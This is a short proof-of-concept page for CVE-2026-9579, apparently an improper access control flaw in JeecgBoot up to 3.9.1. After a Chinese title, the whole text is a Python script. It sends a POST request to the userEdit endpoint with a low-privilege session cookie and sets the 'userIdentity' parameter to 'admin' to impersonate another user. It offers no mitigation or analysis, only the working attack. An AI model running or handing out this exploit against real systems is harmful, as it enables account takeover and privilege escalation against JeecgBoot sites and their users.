CVE-2026-9579 JeecgBoot越权访问漏洞

import requests # CVE-2026-9579 PoC: JeecgBoot Improper Access Control # Target: JeecgBoot <= 3.9.1 # The attacker's low-privilege session cookie attacker_cookie = { "SESSION": "Y2VudGVyLWFkbWluLXNlc3Npb24=" } # The vulnerable endpoint url = "http://target-host:8080/sys/user/login/setting/userEdit" # Malicious payload: manipulating userIdentity to impersonate another user (e.g., admin) payload = { "userIdentity": "admin", # The vulnerable parameter "username": "test", "realname": "test", "email": "[email protected]" } try: # Send the request with the low-privilege session response = requests.post(url, data=payload, cookies=attacker_cookie, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Response received.") print(response.text) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")